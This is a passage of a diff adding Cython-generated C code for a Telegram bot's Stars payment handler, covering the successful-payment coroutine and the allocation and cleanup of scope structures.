__Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L11_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 222, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 222, __pyx_L4_error) + } + } + + /* "handlers/payments/stars_pay.py":223 + * await add_payment(int(user_id), float(amount), "stars") + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) # <<<<<<<<<<<<<< + * except ValueError as e: + * logger.error(f" user_id amount: {e}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 223, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_4 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 223, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_12 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_12)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_12); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_12, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_4}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 223, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L12_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 223, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 223, __pyx_L4_error) + } + } + + /* "handlers/payments/stars_pay.py":217 + * message: types.Message, + * ): + * try: # <<<<<<<<<<<<<< + * user_id = int(message.chat.id) + * amount = float(message.successful_payment.invoice_payload.split("_")[0]) + */ + } + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L9_try_end; + __pyx_L4_error:; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/stars_pay.py":224 + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" user_id amount: {e}") + */ + __pyx_t_13 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_13) { + __Pyx_AddTraceback("handlers.payments.stars_pay.on_successful_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_6, &__pyx_t_4) < 0) __PYX_ERR(0, 224, __pyx_L6_except_error) + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_4); + __Pyx_INCREF(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_v_e = __pyx_t_6; + /*try:*/ { + + /* "handlers/payments/stars_pay.py":225 + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: + * logger.error(f" user_id amount: {e}") # <<<<<<<<<<<<<< + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 225, __pyx_L18_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 225, __pyx_L18_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 225, __pyx_L18_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_15 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_11); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 225, __pyx_L18_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_14))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_14); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_14); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_14, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_15}; + __pyx_t_12 = __Pyx_PyObject_FastCall(__pyx_t_14, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 225, __pyx_L18_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + } + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + } + + /* "handlers/payments/stars_pay.py":224 + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" user_id amount: {e}") + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L19; + } + __pyx_L18_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __pyx_t_13 = __pyx_lineno; __pyx_t_16 = __pyx_clineno; __pyx_t_17 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_22, __pyx_t_23); + } + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ErrRestore(__pyx_t_18, __pyx_t_19, __pyx_t_20); + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __pyx_lineno = __pyx_t_13; __pyx_clineno = __pyx_t_16; __pyx_filename = __pyx_t_17; + goto __pyx_L6_except_error; + } + __pyx_L19:; + } + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + goto __pyx_L5_exception_handled; + } + goto __pyx_L6_except_error; + + /* "handlers/payments/stars_pay.py":217 + * message: types.Message, + * ): + * try: # <<<<<<<<<<<<<< + * user_id = int(message.chat.id) + * amount = float(message.successful_payment.invoice_payload.split("_")[0]) + */ + __pyx_L6_except_error:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L1_error; + __pyx_L5_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + __pyx_L9_try_end:; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/stars_pay.py":213 + * + * + * @router.message(F.successful_payment) # <<<<<<<<<<<<<< + * async def on_successful_payment( + * message: types.Message, + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_XDECREF(__pyx_t_15); + __Pyx_AddTraceback("on_successful_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars[8]; +static int __pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars[--__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars(PyObject *o) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_exists); + Py_CLEAR(p->__pyx_v_expected_hash); + Py_CLEAR(p->__pyx_v_i); + Py_CLEAR(p->__pyx_v_key_count); + Py_CLEAR(p->__pyx_v_session); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_tg_id); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars)))) { + __pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars[__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars++] = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_exists) { + e = (*v)(p->__pyx_v_exists, a); if (e) return e; + } + if (p->__pyx_v_i) { + e = (*v)(p->__pyx_v_i, a); if (e) return e; + } + if (p->__pyx_v_key_count) { + e = (*v)(p->__pyx_v_key_count, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars_spec = { + "handlers.payments.stars_pay.__pyx_scope_struct__process_callback_pay_stars", + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.stars_pay.""__pyx_scope_struct__process_callback_pay_stars", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection[8]; +static int __pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection[--__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_amount_str); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + Py_CLEAR(p->__pyx_t_6); + Py_CLEAR(p->__pyx_t_7); + Py_CLEAR(p->__pyx_t_8); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection)))) { + __pyx_freelist_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection[__pyx_freecount_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection++] = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_amount_str) { + e = (*v)(p->__pyx_v_amount_str, a); if (e) return e; + } + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + if (p->__pyx_t_6) { + e = (*v)(p->__pyx_t_6, a); if (e) return e; + } + if (p->__pyx_t_7) { + e = (*v)(p->__pyx_t_7, a); if (e) return e; + } + if (p->__pyx_t_8) { + e = (*v)(p->__pyx_t_8, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot 